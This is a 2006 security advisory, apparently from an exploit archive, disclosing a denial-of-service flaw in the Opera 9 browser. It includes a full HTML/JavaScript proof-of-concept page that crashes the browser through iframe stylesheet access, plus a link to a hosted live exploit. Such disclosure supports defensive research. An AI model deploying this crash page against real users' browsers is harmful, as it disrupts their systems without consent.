what you don't know can hurt you

Echo Security Advisory 2006.35

Echo Security Advisory 2006.35
Posted Jul 2, 2006
Authored by Echo Security, Ahmad Muammar W.K | Site y3d1ps.blogspot.com

Opera 9 denial of service exploit that makes use of an iframe tag combined with javascript.

tags | exploit, denial of service, javascript
MD5 | 622cdc763bf15dd39da9295f6fd46111

Echo Security Advisory 2006.35

Change Mirror Download
ECHO_ADV_35$2006

------------------------------------------------------------------------------------
[ECHO_ADV_35$2006] OPERA Web Browser 9 Denial OF Service
------------------------------------------------------------------------------------

Author : Ahmad Muammar W.K (a.k.a) y3dips
Date Found : July, 1th 2006
Location : Indonesia, Jakarta
web : http://echo.or.id/adv/adv35-y3dips-2006.txt
Critical Lvl : Moderated
Impact : Browser will automatically shutdown
Where : From Remote
------------------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Opera Web Browser

Application : Opera Web Browser
version : Opera/9.00 (X11; Linux i686; U; en)
Opera/9.00 (Windows NT 5:1;U;en)
Some Other version are bot vulnerable and others are not tested,

URL : http://opera.com
Description :

Vulnerability can be exploited by using <iframe> combining with javascript
(documents stylesheet) to create an out-of-bounds memory access.

------------------------------------------------------------------------------------

Exploit Code:
~~~~~~~~~~~~~~~~

-----------------------opera9xploit.html----------------------

<!-- Opera 9 DOS exploit, discovered by
Ahmad Muammar W.K (y3dips[at]echo[dot]or[dot]id)
http://y3d1ps.blogspot.com
//-->

<html>
<iframe src="palsu.php" name="fake" ></iframe>
<script type="text/javascript">
function mystyle() {
if (fake.document.styleSheets.length == 1 )
{
f = document.forms["basicstyle"].elements;
for (j = 0; j < f.length; j++)
{
if (f[j].name == 'fsmain');
}
}

}
mystyle();
</script>
</html>

live exploit :

http://y3dips.echo.or.id/opera9-dos/

------------------------------------------------------------------------------------

Solution:
~~~~~~~~

Disable Java Scipt execution from Opera Web browser


------------------------------------------------------------------------------------
Shoutz:
~~~~~~~

~ my beloved ana

~ the_day, K-159 (keep researching), also all echo staff
~ negative , naisenodni crew
~ janex vind "waraxe" @ waraxe.us
~ newbie_hacker[at]yahoogroups.com
~ #e-c-h-o @irc.dal.net

------------------------------------------------------------------------------------
Contact:
~~~~~~~~

y3dips || echo|staff || y3dips[at]echo[dot]or[dot]id
Homepage: http://y3dips.echo.or.id/

-------------------------------- [ EOF ] -------------------------------------------
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